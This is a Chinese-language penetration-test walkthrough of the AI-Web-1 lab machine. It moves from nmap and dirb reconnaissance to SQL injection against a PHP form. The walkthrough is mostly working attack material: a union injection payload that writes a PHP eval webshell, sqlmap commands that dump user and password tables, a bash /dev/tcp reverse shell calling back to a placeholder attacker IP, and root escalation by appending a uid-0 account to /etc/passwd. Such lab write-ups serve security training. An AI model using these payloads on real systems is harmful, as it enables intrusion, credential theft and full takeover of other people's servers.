目录
1、信息搜集
(1)使用nmap扫描IP、端口、版本、操作系统
nmap -sn 192.168.214.0/24 #扫描ip
nmap -sV -O 192.168.214.xx #扫描端口和版本
(2)扫描发现总结
目标主机IP:192.168.214.xx 目标主机开放端口和对应版本:80 Apache httpd 目标主机操作系统: OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9
(3)访问80端口
发现80发现页面没什么用处,没有可用点从目录下手
(4)dirb目录爆破
dirb http://192.168.214.132 /usr/share/dirb/wordlists/common.txt
扫描发现有robots.txt文件,查看之后 User-agent: * Disallow: Disallow: /m3diNf0/ Disallow: /se3reTdir777/uploads/ 有两个三个目录接着爆破......
dirb http://192.168.214.132/m3diNf0/ /usr/share/dirb/wordlists/common.txt
dirb http://192.168.214.132/se3reTdir777/ /usr/share/dirb/wordlists/common.txt
dirb http://192.168.214.132/se3reTdir777/uploads/ /usr/share/dirb/wordlists/common.txt
(5)目录扫描总结
http://192.168.214.132/m3diNf0/info.php 此目录可以访问phpinfo的页面,可以看到apache网站的路径http://192.168.214.132/se3reTdir777/index.php 目前目录扫描下来发现就这两个有用,在第一个页面中存在网站的绝对路径,第二个页面中可能存在SQL注入
2、获取shell
一、手工测试
使用'单引号试探,发现报错 构造payload:1'#,进行单引号闭合,再把后面注释,发现页面正常,因此完整payload:
payload:-1' union select 1,database(),3#
后续操作就通过information_schema函数进行拖库即可 --------------------------------------------------------- 通过mysql的into outfile写入webshell - web目录具有写权限,能够使用单引号------满足 - 知道网站绝对路径(根目录,或则是根目录往下的目录都行)-------满足 - secure_file_priv没有具体值 -------------不确定 因此尝试写入webshell: 这里路径的话需要写/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/ 因为只有uploads文件夹支持我们读写(通过将已知的路径都尝试一下最终发现的)
payload:uid=-1' union select 1,"<?php @eval($_POST['a']);?>",3 into outfile "/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php"#&Operation=Submit
访问192.168.214.132/se3reTdir777/uploads/shell.php,给与参数值,发现上传成功 ----------------------------------------- 通过蚁剑远程shell管理工具连接即可
二、sqlmap工具测试
SQLmap: 1、扫描数据库
sqlmap -u "http://192.168.214.132/se3reTdir777/index.php" --data "uid=1&Operation=Submit" --dbs
2、扫描表
sqlmap -u "http://192.168.214.132/se3reTdir777/index.php#" --data "uid=1&Operation=Submit" -D aiweb1 --tables
---------------------------- 两张表:user和systemUser user表: ---------------------------- 3、列名
sqlmap -u "http://192.168.214.132/se3reTdir777/index.php#" --data "uid=1&Operation=Submit" -D aiweb1 -T user --columns
4、内容
sqlmap -u "http://192.168.214.132/se3reTdir777/index.php#" --data "uid=1&Operation=Submit" -D aiweb1 -T user --dump -C "firstName,id,lastName"
----------------------------- systemUser表 ----------------------------- 1、列名
sqlmap -u "http://192.168.214.132/se3reTdir777/index.php#" --data "uid=1&Operation=Submit" -D aiweb1 -T systemUser --columns
2、内容
sqlmap -u "http://192.168.214.132/se3reTdir777/index.php#" --data "uid=1&Operation=Submit" -D aiweb1 -T systemUser --dump -C "id,password,userName"
到这里,拖库就完成了,接下来就是看能否通过--os-shell上传shell
1、通过--os-shell上传shell
sqlmap -u "http://192.168.214.132/se3reTdir777/index.php#" --data "uid=1&Operation=Submit" --dbms=mysql --os-shell
这里路径的话需要写/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/ 因为只有uploads文件夹支持我们读写(通过将已知的路径都尝试一下最终发现的) 运行完成发现获取到shell
3、提权
因为我们获取到的权限是低权限,这时候我们想去查看一些敏感的内容或者操作时,就会没有权限,所以会进行权限提升
通过SQLmap获取shell的时候,他会创建两个文件,一个用来上传文件,一个执行命令 http://192.168.214.132:80/se3reTdir777/uploads/tmpuaymd.php #上传文件地址
我们可以通过这里上传PHP的反弹shell:
<?php
system("bash -c 'bash -i >& /dev/tcp/攻击机IP/攻击机监听端口 0>&1'");
?>
例如上传文件名为2shell.php
在本机kali使用
nc -lvp 9999(上传文件监听端口)
然后本机去访问浏览器:http://192.168.214.132:80/se3reTdir777/uploads/2shell.php,反弹成功
反弹之后发现可以cat /etc/passwd 尝试使用修改passwd提权: 在自己的Linux环境上对要添加的账号和密码进行加密:
openssl passwd -1 -salt flag flagpassword
结果:
$1$flag$JDlErWJkkgnrwbn1iINgH1
在反弹shell上输入以下:
echo 'flag:$1$flag$JDlErWJkkgnrwbn1iINgH1:0:0::/root:/bin/bash'>>/etc/passwd
总结:在这里我们是通过sqlmap的--os-shell获取到shell,再上传反弹shell的PHP脚本,最后实现提权成功。
当然如果使用手工测试上传的webshell的话也是同样的道理,通过蚁剑连接成功之后,再进行后续提权也是一样的